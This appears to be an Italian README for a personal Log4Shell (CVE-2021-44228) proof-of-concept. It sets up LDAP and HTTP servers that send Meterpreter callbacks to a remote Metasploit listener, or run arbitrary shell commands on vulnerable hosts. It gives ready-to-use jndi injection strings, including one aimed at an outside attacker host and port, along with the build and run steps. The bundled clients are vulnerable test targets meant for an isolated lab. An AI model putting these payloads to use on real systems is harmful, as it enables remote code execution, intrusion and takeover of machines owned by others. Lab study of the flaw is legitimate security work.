
Log4Shell (Cve-2021-44228) Prova di Concetto
Log4Shell (CVE-2021-44228) Prova di Concetto
Questo è un progetto personale che esegue una semplice POC che ospiterà un server LDAP e un server HTTP per l'exploit Log4Shell.
Lo script run_servers.py imposterà un client meterpreter ridotto che richiamerà l'istanza di Metasploit passata nella richiesta ldap. Questo eseguirà l'istanza meterpreter in un thread nel processo originale che è stato affetto dall'exploit Log4Shell.
Il server LDAP è scritto in Java e il server HTTP è ospitato in Python e servirà da una directory wwwroot appena creata. Questo richiede java, javac e mvn per compilare gli exploit e ospitare il server LDAP. Ho usato Java 8.
È richiesto anche Python3.
esegui: python3 run_servers.py <il_tuo_indirizzo_ip> <la_porta_http> [porta_ldap]
Poi passa la stringa jndi a un client vulnerabile da registrare, ad esempio: se il tuo host fosse 10.20.30.40 e la tua istanza metasploit fosse 20.30.40.50 in ascolto sulla porta 4444, sarebbe così: '${jndi:ldap://10.20.30.40:1389/#MM:20.30.40.50:4444}'
Puoi compilare classi che lanceranno eseguibili sul sistema sorgente. Puoi avere comandi diversi per sistemi Windows o Linux. Per esempio, per creare una classe chiamata TestCmd che lancerà una calcolatrice su sistemi Windows e Firefox su sistemi Linux, esegui: python3 build_cmd.py TestCmd -w "Calc.exe" -l "firefox"
Puoi avere più classi precompilate. Se non specifichi un comando per il sistema operativo target, non viene eseguito nulla. Nota che questi comandi vengono eseguiti come CMD \c "your command" su Windows e /bin/sh -c "your command" su Linux.
Per attivare il comando sopra, usa il nome della classe che hai creato, ad esempio: '${jndi:ldap://10.20.30.40:1389/#TestCmd'
Il file Payload.java è il file Meterpreter completo impostato per essere eseguito come thread nel processo chiamante che aveva il problema log4shell. Questo deve essere compilato manualmente e spostato nella directory wwwroot. Inoltre, devi avere il file metasploit.dat configurato con le proprietà necessarie.
La directory clients contiene 2 client che possono essere eseguiti. Uno è un semplice programma a riga di comando che scriverà un log di errore per qualunque sia il primo parametro passato.
L'altro è un server web di base che scriverà un log di errore utilizzando le informazioni dell'header log_me. Nota: questo dovrebbe essere eseguito in un ambiente isolato e controllato.
naviga nella directory clients ed esegui ./build_clients.sh
dalla directory clients esegui : java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jWebServer [Numero_porta]
dalla directory clients esegui : java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jCmdLine '${jndi:ldap://127.0.0.1:1389/#MM:127.0.0.1:4444}'